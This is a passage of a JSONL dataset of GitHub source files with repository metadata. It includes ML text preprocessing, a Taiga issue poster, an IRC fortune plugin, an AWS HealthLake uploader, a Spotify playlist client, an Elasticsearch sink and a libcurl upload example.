dest='en').lower()\n\n\nclass NameFeaturePreprocessor(BaseEstimator, TransformerMixin):\n\n def __init__(self):\n super().__init__()\n self.translator = TranslatorWrapper()\n self.replaced_word_list_pattern = re.compile('[^0-9a-zA-Z\\\\s]*')\n self.blank_space_pattern = re.compile('\\\\s+')\n\n def fit(self, X, y=None, **fit_params):\n print(\"Fitting X by NameFeaturePreprocessor\")\n return self\n\n def transform(self, X, **transform_params):\n print(\"Transforming X by NameFeaturePreprocessor\")\n df = X.fillna(\"none\")\n return df.applymap(self.preprocess_value)\n\n def preprocess_value(self, origin_value):\n text = str(origin_value)\n translated_text = self.translator.translate(text, dest='en').lower()\n translated_text = self.replaced_word_list_pattern.sub('', translated_text)\n preprocessed_name = self.blank_space_pattern.sub(' ', translated_text).strip()\n name_tokens = preprocessed_name.split(' ')\n return ','.join(name_tokens)\n\n\nclass PositionFeaturePreprocessor(BaseEstimator, TransformerMixin):\n def __init__(self):\n super().__init__()\n self.translator = TranslatorWrapper()\n self.blank_space_pattern = re.compile('\\\\s+')\n self.replaced_word_list_pattern = re.compile('[^0-9a-zA-Z\\\\s\\']+')\n\n def fit(self, X, y=None, **fit_params):\n print(\"Fitting X by PositionFeaturePreprocessor\")\n return self\n\n def transform(self, X, **transform_params):\n print(\"Transforming X by PositionFeaturePreprocessor\")\n df = X.fillna(\"none\")\n return df.applymap(self.preprocess_value)\n\n def preprocess_value(self, origin_value):\n translated_text = self.translator.translate(origin_value, dest='en').lower()\n translated_text = self.replaced_word_list_pattern.sub(' ', translated_text)\n translated_text = self.blank_space_pattern.sub(' ', translated_text).strip()\n return ','.join(nltk.word_tokenize(translated_text))\n\n\nclass EducationFeaturePreprocessor(BaseEstimator, TransformerMixin):\n def __init__(self):\n super().__init__()\n self.translator = TranslatorWrapper()\n self.replaced_word_list_pattern = re.compile('[^0-9a-zA-Z\\\\s]*')\n self.blank_space_pattern = re.compile('\\\\s+')\n\n def fit(self, X, y=None, **fit_params):\n print(\"Fitting X by EducationFeaturePreprocessor\")\n\n return self\n\n def transform(self, X, **transform_params):\n print(\"Transforming X by EducationFeaturePreprocessor\")\n df = X.fillna(\"none\")\n return df.applymap(self.preprocess_value)\n\n def preprocess_value(self, origin_value):\n text = str(origin_value)\n text = self.blank_space_pattern.sub(' ', text).strip()\n return self.translator.translate(text, dest='en').lower()\n\n\nclass DataPreprocessor(BaseEstimator, TransformerMixin):\n def __init__(self):\n self.transformer_field_mapping = [\n (\n CompanyFeaturePreprocessor(),\n experience_company_feature\n ),\n (\n None,\n experience_date_feature\n ),\n (\n NameFeaturePreprocessor(),\n experience_name_feature\n ),\n (\n EducationFeaturePreprocessor(),\n education_feature\n ),\n (\n PositionFeaturePreprocessor(),\n position_feature\n )\n ]\n\n def transform(self, X, **transform_params):\n input_df = X\n df_list = []\n for mapping in self.transformer_field_mapping:\n feature = mapping[1]\n print(\"Transforming {} feature\".format(feature.field_name))\n query = build_query_by_feature(feature, input_df_name=\"X\")\n sub_df = pdsql.sqldf(query, locals())\n transformer = mapping[0]\n if transformer is not None:\n sub_feature_df = transformer.transform(sub_df)\n else:\n sub_feature_df = sub_df\n df_list.append(sub_feature_df)\n print()\n\n return pd.concat(df_list, axis=1)\n\n\nif __name__ == '__main__':\n data_path = \"data/data_with_labels.csv\"\n preprocessed_data_path = \"data/preprocessed_data.csv\"\n input_data = read_csv_file_as_df(data_path)\n\n data_preprocessor = DataPreprocessor()\n preprocessed_data_df = data_preprocessor.transform(input_data)\n preprocessed_data_df.to_csv(preprocessed_data_path, index=False)\n print(\"Preprocessed file has been saved to {}.\".format(preprocessed_data_path))\n","repo_name":"bomb1000/linkedin-MachineLearning-profile-analyzer","sub_path":"data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15588957778","text":"class Solution:\n def minSubArrayLen(self, tar: int, nums: List[int]) -> int:\n size = 100001\n start,end,sum1 = 0,0,0\n for i in nums:\n end+=1\n sum1+=i\n if sum1>= tar:\n while sum1 >= tar:\n sum1-=nums[start]\n start+=1\n size = min(size,end-start+1)\n \n if size == 100001 : size = 0\n return size\n# size = 100001\n# start,end = 0,0\n# for i in nums:\n# end+=1\n# if sum(nums[start:end]) >= tar:\n# while sum(nums[start:end]) >= tar:\n# start+=1\n# size = min(size,end-start+1)\n \n# if size == 100001 : size = 0\n# return size\n ","repo_name":"venkatachandukonduru/Leetcode-Problems","sub_path":"0209-minimum-size-subarray-sum/0209-minimum-size-subarray-sum.py","file_name":"0209-minimum-size-subarray-sum.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41192894263","text":"import FWCore.ParameterSet.Config as cms\n\ntrackingRegionsFromBeamSpotAndL2Tau = cms.EDProducer('TrackingRegionsFromBeamSpotAndL2TauEDProducer',\n RegionPSet = cms.PSet(\n ptMin = cms.double(5),\n originRadius = cms.double(0.2),\n originHalfLength = cms.double(24),\n deltaEta = cms.double(0.3),\n deltaPhi = cms.double(0.3),\n JetSrc = cms.InputTag('hltFilterL2EtCutDoublePFIsoTau25Trk5'),\n JetMinPt = cms.double(25),\n JetMaxEta = cms.double(2.1),\n JetMaxN = cms.int32(10),\n beamSpot = cms.InputTag('hltOnlineBeamSpot'),\n precise = cms.bool(True),\n howToUseMeasurementTracker = cms.string('Never'),\n measurementTrackerName = cms.InputTag('MeasurementTrackerEvent')\n ),\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"RecoTauTag/HLTProducers/trackingRegionsFromBeamSpotAndL2Tau_cfi.py","file_name":"trackingRegionsFromBeamSpotAndL2Tau_cfi.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25640664639","text":"import requests\nimport json\nfrom django.conf import settings\n\nfrom taigaissuecreator.models import TaigaIssue\n\nAPI_BASE_URL = 'https://taiga.ekata.social/api/v1'\nLOGIN_URL = API_BASE_URL + '/auth'\nISSUE_URL = API_BASE_URL + '/issues'\nATTACHMENT_URL = ISSUE_URL + '/attachments'\n\n\ndef get_auth_token():\n \"\"\" Returns auth_token if success else None \"\"\"\n data = {\n 'username': settings.TAIGA_USERNAME,\n 'password': settings.TAIGA_PASSWORD,\n 'type': 'normal'\n }\n login_res = requests.post(LOGIN_URL, data=data)\n if login_res.status_code == 200:\n res_data = json.loads(login_res.content)\n if res_data['auth_token']:\n return res_data['auth_token']\n return None\n\n\ndef post_issue(posted_by, subject, description, files):\n auth_token = get_auth_token()\n taigaissue = TaigaIssue(\n posted_by=posted_by,\n subject=subject,\n description=description\n )\n public_profile_chunk = posted_by.profile.get_public_profile_url().split(\n '/')[2:]\n public_profile = \\\n \"https://development.ekata.social/\"\\\n + '/'.join(public_profile_chunk)\n extra_info = \\\n '\\n\\n\\n####Extra Info\\n Original Creator:' + \\\n '%s\\n User ID: %s\\n Profile url: %s'\\\n % (\n posted_by.username,\n posted_by.id,\n public_profile\n )\n if auth_token:\n headers = {\n \"Authorization\": \"Bearer \" + auth_token\n }\n data = {\n 'subject': subject,\n 'description': description + extra_info,\n 'project': 2\n }\n issue_res = requests.post(ISSUE_URL, headers=headers, data=data)\n issue_res_data = json.loads(issue_res.content)\n if 'id' in issue_res_data and files:\n for _file in files:\n post_attachment(\n auth_token, issue_res_data['id'], _file)\n taigaissue.posted = True\n taigaissue.save()\n\n\ndef post_attachment(token, object_id, _file):\n headers = {\n \"Authorization\": \"Bearer \" + token\n }\n data = {\n 'object_id': object_id,\n 'project': 2\n }\n files = {\n 'attached_file': (_file.name, _file.read())\n }\n attachment_res = requests.post(\n ATTACHMENT_URL, headers=headers, data=data, files=files)\n","repo_name":"nullc0der/ekataplatform","sub_path":"taigaissuecreator/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35747306746","text":"import os\nfrom subprocess import check_output\nimport ircpacket as ircp\n\n\n__plugin_description__ = 'Simple fortune utility'\n__plugin_version__ = 'v0.1'\n__plugin_author__ = 'Cameron Conn'\n__plugin_type__ = 'command'\n__plugin_enabled__ = True\n\n\ndef which(program: str) -> str:\n ''' Simple which method.\n Thanks to http://stackoverflow.com/a/377028\n '''\n def _is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n fpath, _ = os.path.split(program)\n if fpath:\n if _is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, program)\n if _is_exe(exe_file):\n return exe_file\n return None\n\n\ndef fortune_command(arg: tuple, packet: ircp.Packet, shared: dict) -> str:\n ''' Tells the user a fortune (maybe via cowsay)\n\n :fortune - tells the user a fortune\n :cowsay - tells the user a fortune via cowsay\n :moo - alias of cowsay\n '''\n command = None\n user_command = arg[0].lower()\n if user_command == 'fortune':\n command = '{} -a'.format(shared['fortune.path'])\n elif user_command == 'cowsay' or user_command == 'moo':\n if 'fortune.cowsay' in shared:\n command = '{} -a | {}'.format(shared['fortune.path'], shared['fortune.cowsay'])\n else:\n return packet.notice('This machine does not have cowsay installed. '\n 'Please install cowsay, then reload this plugin.')\n\n # rstrip to remove trailing newline\n ps = check_output(command, shell=True, universal_newlines=True).rstrip()\n print(ps)\n\n return (packet.notice(line) for line in ps.split('\\n'))\n\n\ndef setup_resources(config: dict, shared: dict):\n fortune_path = which('fortune')\n if fortune_path:\n shared['fortune.path'] = fortune_path\n else:\n raise OSError('Could not find \"fortune\" executable. Disabling self.')\n\n # Optional cowsay command. If it isn't installed, it's no big deal\n cowsay_path = which('cowsay')\n if cowsay_path:\n shared['fortune.cowsay'] = cowsay_path\n\n shared['help']['fortune'] = 'Get a cute fortune || :fortune'\n shared['help']['cowsay'] = 'Get a fortune via cowsay || :cowsay'\n shared['help']['moo'] = 'Alias of :cowsay || :moo'\n shared['cooldown']['fortune'] = 5\n shared['cooldown']['cowsay'] = 7\n shared['cooldown']['moo'] = 'cowsay'\n\n\ndef setup_commands(all_commands: dict):\n all_commands['fortune'] = fortune_command\n all_commands['cowsay'] = fortune_command\n all_commands['moo'] = fortune_command\n\nif __name__ == '__main__':\n # Just for testing, please ignore\n f_path = which('fortune')\n print('which \"fortune\": {}'.format(f_path))\n idiot_path = which('idiot')\n print('which \"idiot\": {}'.format(idiot_path))\n","repo_name":"camconn/probot","sub_path":"plugins/fortune.py","file_name":"fortune.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19230010032","text":"import requests, json, sys, time\nfrom requests_auth_aws_sigv4 import AWSSigV4\n\nhealthlake_endpoint = \"https://healthlake.us-east-1.amazonaws.com/datastore/01a01...hash...1a010/r4/\"\nsplitted_json = json.loads('{\"resourceType\": \"Bundle\", \"type\": \"batch\", \"entry\": []}')\n\ncounter = 0\n\nwith open(sys.argv[1]) as f:\n datadict = json.loads(f.read())\n\ntotal_size = len(datadict[\"entry\"])\nprint(total_size)\n\nfor index,item in enumerate(datadict[\"entry\"]):\n\n del item[\"fullUrl\"]\n item[\"request\"][\"method\"] = \"PUT\"\n item[\"request\"][\"url\"] = item[\"resource\"][\"resourceType\"] + \"/\" + item[\"resource\"][\"id\"]\n\n splitted_json[\"entry\"].append(item)\n imported = False\n\n counter += 1\n\n if len(splitted_json[\"entry\"]) > 159:\n while(not imported):\n print(\"Realizando request: \" + str(counter) + \" / \" + str(total_size))\n r = requests.request('POST', healthlake_endpoint,\n data=json.dumps(splitted_json),\n auth=AWSSigV4('healthlake'))\n\n if(r.status_code != 200):\n time.sleep(1)\n print(str(r.status_code) + \" - Dormindo 1sec\")\n else:\n print(r.status_code)\n imported = True\n\n splitted_json[\"entry\"].clear()\n\nif len(splitted_json[\"entry\"]) > 0:\n while(not imported):\n print(\"Realizando request: \" + str(counter) + \" / \" + str(total_size))\n r = requests.request('POST', healthlake_endpoint,\n data=json.dumps(splitted_json),\n auth=AWSSigV4('healthlake'))\n\n if(r.status_code != 200):\n time.sleep(1)\n print(str(r.status_code) + \" - Dormindo 1sec\")\n else:\n print(r.status_code)\n imported = True\n\n splitted_json[\"entry\"].clear()\n","repo_name":"ernesto-santos/healthlake-ingestion","sub_path":"healthlake-request.py","file_name":"healthlake-request.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70262322756","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n path('', views.indexView, name= \"home\"),\n url(r'^login/', views.loginView, name=\"login\"),\n url(r'^dashboard/', views.dashboardView, name=\"dashboard\"),\n url(r'^register/', views.registerView, name=\"register\"),\n url(r'^logout/', views.logoutView, name= \"logout\"),\n]","repo_name":"guptabhishek8/django_template","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11962598307","text":"import sys\nsys.stdin = open('input.txt')\ninput = sys.stdin.readline\n\nn,m,B = map(int,input().split())\n\nearth = [list(map(int,input().split())) for _ in range(n)]\nanswer = 10000000000000\nheight = 0\nmin_value = min(map(min,earth))\nmax_value = max(map(max,earth))\n\nfor i in range(min_value,max_value+1):\n up = 0\n down = 0\n for a in range(n):\n for b in range(m):\n dif = earth[a][b] - i\n\n if dif > 0:\n down += dif\n elif dif < 0:\n up -= dif\n if down+B >= up:\n time = down*2 + up\n\n if answer >= time:\n answer = time\n height = i\n\nprint(answer,height)","repo_name":"sw200662/Algorithm_my","sub_path":"2112/1213/18111.py","file_name":"18111.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35044694756","text":"# Write your code here\nimport random\nimport os\n\n\ndef winner(player, computer, moves, score):\n if player == computer:\n score += 50\n return f\"There is a draw ({player})\", score\n user_index = moves.index(player)\n midpoint = (len(moves) - 1) // 2\n if user_index >= midpoint:\n losers = moves[user_index - midpoint:user_index]\n if computer in losers:\n score += 100\n return f\"Well done. Computer choose {computer} and failed\", score\n else:\n return f\"Sorry, but computer chose {computer}\", score\n if user_index < midpoint:\n user_index += 1 # shifts index to the right by 1\n winners = moves[user_index:midpoint + user_index]\n if computer in winners:\n return f\"Sorry, but computer chose {computer}\", score\n else:\n score += 100\n return f\"Well done. Computer choose {computer} and failed\", score\n\n\ndef get_points(user):\n if os.path.exists('rating.txt'):\n # check to see if the user's name is saved in the ratings.txt file.\n file = open('rating.txt')\n names = file.readlines()\n file.close()\n names = [names[i].split() for i in range(len(names))]\n for player in names:\n if user in player:\n score = player\n return int(score[1])\n return 0\n\n\nname = input(\"Enter your name: \")\nprint(f\"Hello, {name.title()}\")\npoints = get_points(name)\nchoices = input(\"Type a list of choices separated by a comma. No Spaces! or leave blank for the \"\n \"default rock, paper, scissors:\\n\").split(',')\nif choices[0] == '':\n choices = ['rock', 'paper', 'scissors']\nprint(\"Okay, let's start\")\nwhile True:\n options = [choices, '!exit', '!rating']\n user_choice = input(\"Enter your choice: \") # get user's choice\n if user_choice not in options[0] and user_choice not in options[1:]:\n print(\"Invalid input\")\n continue\n if user_choice == options[2]: # prints out the user's rating (points)\n if points > 0:\n print(f\"Your rating: {points}\")\n else:\n print(\"Your rating: 0\")\n continue\n if user_choice == options[1]:\n print(\"Bye!\")\n break\n if user_choice in options[0]:\n computer_choice = random.choice(choices) # pseudo-random selection of available moves\n who_wins, points = winner(user_choice, computer_choice, choices, points) # find a winner\n print(who_wins) # print winner\n continue\n","repo_name":"merlin2181/RockPaperScissors","sub_path":"Rock-Paper-Scissors/task/rps/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"657983593","text":"import json\nfrom aws_requests_auth.boto_utils import BotoAWSRequestsAuth\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\nfrom elasticsearch.exceptions import ConflictError\nfrom . import Sink\n\n\nclass ElasticSink(Sink):\n def __init__(\n self, host, port, use_ssl, region, service, index_name, doc_type, use_sig4\n ):\n if use_sig4:\n auth = BotoAWSRequestsAuth(\n aws_host=host, aws_region=region, aws_service=service\n )\n\n if use_ssl.casefold() == \"true\" or use_ssl == \"1\":\n use_ssl = True\n else:\n use_ssl = False\n\n es_args = {\"host\": host, \"port\": port, \"use_ssl\": use_ssl}\n if use_sig4:\n es_args[\"http_auth\"] = auth\n es_args[\"connection_class\"] = RequestsHttpConnection\n self.es = Elasticsearch(**es_args)\n self.index_name = index_name\n self.doc_type = doc_type\n\n def _create_if_not_exists(self, index_name, body_json, doc_id):\n try:\n self.es.create(\n index=index_name, doc_type=self.doc_type, body=body_json, id=doc_id\n )\n except ConflictError:\n pass # Benign\n\n def put(self, msgs):\n for msg in msgs:\n\n id_func = getattr(msg, \"id\", None)\n data_func = getattr(msg, \"payload\", None)\n timestamp_func = getattr(msg, \"request_timestamp\", None)\n\n if id_func:\n msg_id = id_func()\n else:\n msg_id = None\n if data_func:\n data = data_func()\n else:\n data = None\n if data:\n data_json = json.dumps(data)\n else:\n data_json = None\n if timestamp_func:\n timestamp = timestamp_func()\n index_name = (\n self.index_name\n + \"-\"\n + str(timestamp.year)\n + \"-\"\n + str(timestamp.month)\n )\n else:\n index_name = None\n if msg_id and data_json and self.index_name:\n self._create_if_not_exists(index_name, data_json, msg_id)\n","repo_name":"hamlet-io/lambda-log-processors","sub_path":"alb-s3-sqs-es/alb_s3/ingester/sink/elasticsearch.py","file_name":"elasticsearch.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30899348270","text":"import os\n\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom utils.logging import FogifyLogger\nlogger = FogifyLogger(__name__)\n\n\nclass Controller(object):\n \"\"\" The Controller includes essential functionalities of the controller API\"\"\"\n\n db = None\n\n def __init__(self, args, app):\n \"\"\"\n It instantiates the Controller server\n :param args:\n :param app:\n \"\"\"\n db_path = os.getcwd() + '/master_database.db'\n\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + db_path\n self.args = args\n Controller.db = SQLAlchemy(app)\n if os.path.exists(db_path): os.remove(db_path)\n os.mknod(db_path)\n\n app.config['UPLOAD_FOLDER'] = \"/current_infrastructure/\"\n os.environ['UPLOAD_FOLDER'] = \"/current_infrastructure/\"\n\n from controller.views import TopologyAPI, MonitoringAPI, ActionsAPI, ControlAPI, AnnotationAPI, DistributionAPI, \\\n SnifferAPI\n\n # Introduce the routes of the API\n app.add_url_rule('/topology/', view_func=TopologyAPI.as_view('Topology'))\n app.add_url_rule('/monitorings/', view_func=MonitoringAPI.as_view('Monitoring'))\n app.add_url_rule('/packets/', view_func=SnifferAPI.as_view('Packets'))\n app.add_url_rule('/annotations/', view_func=AnnotationAPI.as_view('Annotations'))\n app.add_url_rule('/actions/<string:action_type>/', view_func=ActionsAPI.as_view('Action'))\n app.add_url_rule('/control/<string:service>/', view_func=ControlAPI.as_view('control'))\n app.add_url_rule('/generate-network-distribution/<string:name>/',\n view_func=DistributionAPI.as_view('NetworkDistribution'))\n logger.info(\"Controller routes are installed\")\n self.app = app\n","repo_name":"UCY-LINC-LAB/fogify","sub_path":"controller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"40213174801","text":"import json\nfrom dataclasses import dataclass\n\nfrom typing import List, Optional\n\nimport api_commons.spotify as spotify\nfrom api_commons.common.error import IncompleteObjectError\nfrom api_commons.common.utils import has_aiohttp\nfrom api_commons.common.web import get_request_async, get_request_sync\nfrom .utils import build_auth_header\n\n\n@dataclass\nclass Playlist:\n collaborative: bool\n description: str\n external_urls: \"spotify.ExternalUrls\"\n followers: Optional[int]\n endpoint: str\n id: str\n images: List[\"spotify.Image\"]\n name: str\n owner: \"spotify.User\"\n public: Optional[bool]\n snapshot_id: str\n tracks: Optional[List[\"spotify.Track\"]]\n uri: str\n\n @classmethod\n def from_api_response(cls, api_response: str) -> \"Playlist\":\n parsed_api_response: dict = json.loads(api_response)\n return cls(\n collaborative=parsed_api_response[\"collaborative\"],\n description=parsed_api_response[\"description\"],\n external_urls=spotify.ExternalUrls.from_api_response(\n json.dumps(parsed_api_response[\"external_urls\"])\n ),\n followers=parsed_api_response[\"followers\"][\"total\"]\n if \"followers\" in parsed_api_response\n else None,\n endpoint=parsed_api_response[\"href\"],\n id=parsed_api_response[\"id\"],\n images=[\n spotify.Image.from_api_response(json.dumps(x))\n for x in parsed_api_response[\"images\"]\n ],\n name=parsed_api_response[\"name\"],\n owner=spotify.User.from_api_response(\n json.dumps(parsed_api_response[\"owner\"])\n ),\n public=parsed_api_response[\"public\"],\n snapshot_id=parsed_api_response[\"snapshot_id\"],\n tracks=[\n spotify.Track.from_api_response(json.dumps(x[\"track\"]))\n for x in parsed_api_response[\"tracks\"][\"items\"]\n ]\n if \"items\" in parsed_api_response[\"tracks\"]\n else None,\n uri=parsed_api_response[\"uri\"],\n )\n\n @staticmethod\n def from_id(playlist_id: str, token: str):\n url = f\"https://api.spotify.com/v1/playlists/{playlist_id}\"\n response: str = get_request_sync(\n url=url, extra_headers=build_auth_header(token=token)\n )\n parsed_response: dict = json.loads(response)\n copied_parsed_response: dict = dict(parsed_response)\n\n while (\n copied_parsed_response[\"tracks\"][\"next\"]\n if \"tracks\" in copied_parsed_response\n else copied_parsed_response[\"next\"]\n ):\n response: str = get_request_sync(\n url=copied_parsed_response[\"tracks\"][\"next\"]\n if \"tracks\" in copied_parsed_response\n else copied_parsed_response[\"next\"],\n extra_headers=build_auth_header(token=token),\n )\n copied_parsed_response = json.loads(response)\n parsed_response[\"tracks\"][\"items\"].extend(\n copied_parsed_response[\"items\"]\n )\n\n return Playlist.from_api_response(json.dumps(parsed_response))\n\n @staticmethod\n @has_aiohttp\n async def from_id_async(playlist_id: str, token: str):\n url = f\"https://api.spotify.com/v1/playlists/{playlist_id}\"\n response: str = await get_request_async(\n url=url, extra_headers=build_auth_header(token=token)\n )\n parsed_response: dict = json.loads(response)\n copied_parsed_response: dict = dict(parsed_response)\n\n while (\n copied_parsed_response[\"tracks\"][\"next\"]\n if \"tracks\" in copied_parsed_response\n else copied_parsed_response[\"next\"]\n ):\n response: str = await get_request_async(\n url=copied_parsed_response[\"tracks\"][\"next\"]\n if \"tracks\" in copied_parsed_response\n else copied_parsed_response[\"next\"],\n extra_headers=build_auth_header(token=token),\n )\n copied_parsed_response = json.loads(response)\n parsed_response[\"tracks\"][\"items\"].extend(\n copied_parsed_response[\"items\"]\n )\n\n return Playlist.from_api_response(json.dumps(parsed_response))\n\n def complete(self, token: str) -> \"Playlist\":\n if None not in self.__dict__.values():\n return self\n if not self.id:\n raise IncompleteObjectError\n return Playlist.from_id(self.id, token)\n\n @has_aiohttp\n async def complete_async(self, token: str) -> \"Playlist\":\n if None not in self.__dict__.values():\n return self\n if not self.id:\n raise IncompleteObjectError\n return await Playlist.from_id_async(self.id, token)\n","repo_name":"tooxo/api-commons","sub_path":"api_commons/spotify/playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565426541","text":"import sys\nimport os\nimport math\n\nfrom tqdm import tqdm\n\n# fin = open('test.in')\nfin = open('B-large.in.txt')\n# fout = sys.stdout\nfout = open('out_1_large', 'w')\n\ndef ok(st):\n keep = 0\n for sym in st:\n if intize(sym) < keep:\n return False\n keep = intize(sym)\n return True\n\ndef intize(s):\n return int(s + '0') / 10\n\ndef solve(n):\n ns = str(n)\n\n candidates = []\n if ok(ns):\n candidates.append(n)\n\n for preflen in range(len(ns) + 1):\n for suflen in range(len(ns) + 1):\n pref = str(max(intize(ns[:preflen]) - 1, 0))\n suf = '9' * suflen\n\n # print '--> %s is %s' % (pref, ok(pref))\n if ok(pref):\n num = intize(pref + suf)\n if num <= n:\n candidates.append(num)\n\n return max(candidates)\n\n\n\nif __name__ == '__main__':\n count = int(fin.readline().strip())\n\n for i in range(count):\n n = int(fin.readline().strip())\n result = solve(n)\n fout.write('Case #%s: %s\\n' % (i + 1, result))\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/798.py","file_name":"798.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8232334956","text":"import sys\nimport ctypes as ct\nfrom pathlib import Path\n\nimport libcurl as lcurl\nfrom curltestutils import * # noqa\nfrom debug import dump\n\nhere = Path(__file__).resolve().parent\n\n\nNUM_HANDLES = 1000\nOUT_DIR = here/\"output\"\n\n\nclass transfer_data(ct.Structure):\n _fields_ = [\n (\"curl\", ct.POINTER(lcurl.CURL)),\n (\"num\", ct.c_uint),\n (\"instream\", ct.py_object),\n (\"bytes_read\", ct.c_size_t), # count up\n (\"outstream\", ct.py_object),\n]\n\n\n@lcurl.write_callback\ndef write_function(buffer, size, nitems, stream):\n transfer = ct.cast(stream, ct.POINTER(transfer_data)).contents\n buffer_size = size * nitems\n if buffer_size == 0: return 0\n bwritten = bytes(buffer[:buffer_size])\n nwritten = transfer.outstream.write(bwritten)\n return nwritten\n\n\n@lcurl.read_callback\ndef read_function(buffer, size, nitems, stream):\n transfer = ct.cast(stream, ct.POINTER(transfer_data)).contents\n bread = transfer.instream.read(size * nitems)\n if not bread: return 0\n nread = len(bread)\n ct.memmove(buffer, bread, nread)\n transfer.bytes_read += nread\n return nread\n\n\ndef debug_output(info_type, num: int, stream, data, size: int, no_hex: bool):\n\n if info_type == lcurl.CURLINFO_TEXT:\n\n #static time_t epoch_offset = 0\n #static bool known_offset = False\n\n #struct timeval tv;\n #gettimeofday(&tv, NULL);\n #if not known_offset:\n # epoch_offset = time(NULL) - tv.tv_sec\n # known_offset = True\n #time_t secs = epoch_offset + tv.tv_sec\n #struct tm *now = localtime(&secs); # not thread safe but we do not care\n\n curr_time = \"%02d:%02d:%02d.%06d\" % (\n #now.tm_hour, now.tm_min, now.tm_sec, (long)tv.tv_usec))\n 0, 0, 0, 0)\n if num is None:\n print(\"%s Info: %s\" %\n (curr_time, bytes(data[:size]).decode(\"utf-8\")), end=\"\",\n file=stream)\n else:\n print(\"%s [%d] Info: %s\" %\n (curr_time, num, bytes(data[:size]).decode(\"utf-8\")), end=\"\",\n file=stream)\n else:\n if info_type == lcurl.CURLINFO_HEADER_OUT: text = \"=> Send header\"\n elif info_type == lcurl.CURLINFO_DATA_OUT: text = \"=> Send data\"\n elif info_type == lcurl.CURLINFO_SSL_DATA_OUT: text = \"=> Send SSL data\"\n elif info_type == lcurl.CURLINFO_HEADER_IN: text = \"<= Recv header\"\n elif info_type == lcurl.CURLINFO_DATA_IN: text = \"<= Recv data\"\n elif info_type == lcurl.CURLINFO_SSL_DATA_IN: text = \"<= Recv SSL data\"\n else: return 0 # in case a new one is introduced to shock us\n dump(text, num, stream, data, size, no_hex)\n\n\n@lcurl.debug_callback\ndef debug_function(curl, info_type, data, size, userptr):\n transfer = ct.cast(userptr, ct.POINTER(transfer_data)).contents\n debug_output(info_type, transfer.num, sys.stderr, data, size, True)\n return 0\n\n\ndef setup(transfer: transfer_data, num: int, upload_fpath: Path, url: str) -> int:\n\n global OUT_DIR\n\n curl: ct.POINTER(lcurl.CURL) = lcurl.easy_init()\n\n transfer.curl = curl\n transfer.num = num\n\n try:\n transfer.instream = upload_fpath.open(\"rb\")\n except OSError as exc:\n print(\"error: could not open file %s for reading: %s\" %\n (upload_fpath, os.strerror(exc.errno)), file=sys.stderr)\n return 1\n\n # get the file size of the local file\n try:\n upload_size = file_size(transfer.instream)\n except OSError as exc:\n print(\"error: could not stat file %s: %s\" %\n (upload_fpath, os.strerror(exc.errno)), file=sys.stderr)\n return 1\n\n file_path = OUT_DIR/(\"dl-%d\" % num)\n\n try:\n transfer.outstream = file_path.open(\"wb\")\n except OSError as exc:\n print(\"error: could not open file %s for writing: %s\" %\n (file_path, os.strerror(exc.errno)), file=sys.stderr)\n return 1\n\n url += \"/upload-%d\" % num\n\n # send all data to this function \n lcurl.easy_setopt(curl, lcurl.CURLOPT_WRITEFUNCTION, write_function)\n # write to this file\n lcurl.easy_setopt(curl, lcurl.CURLOPT_WRITEDATA, ct.byref(transfer))\n # we want to use our own read function\n lcurl.easy_setopt(curl, lcurl.CURLOPT_READFUNCTION, read_function)\n # read from this file\n lcurl.easy_setopt(curl, lcurl.CURLOPT_READDATA, ct.byref(transfer))\n # provide the size of the upload\n lcurl.easy_setopt(curl, lcurl.CURLOPT_INFILESIZE_LARGE, upload_size)\n # send in the URL to store the upload as\n lcurl.easy_setopt(curl, lcurl.CURLOPT_URL, url.encode(\"utf-8\"))\n if defined(\"SKIP_PEER_VERIFICATION\"):\n lcurl.easy_setopt(curl, lcurl.CURLOPT_SSL_VERIFYPEER, 0)\n # upload please\n lcurl.easy_setopt(curl, lcurl.CURLOPT_UPLOAD, 1)\n # please be verbose\n lcurl.easy_setopt(curl, lcurl.CURLOPT_VERBOSE, 1)\n 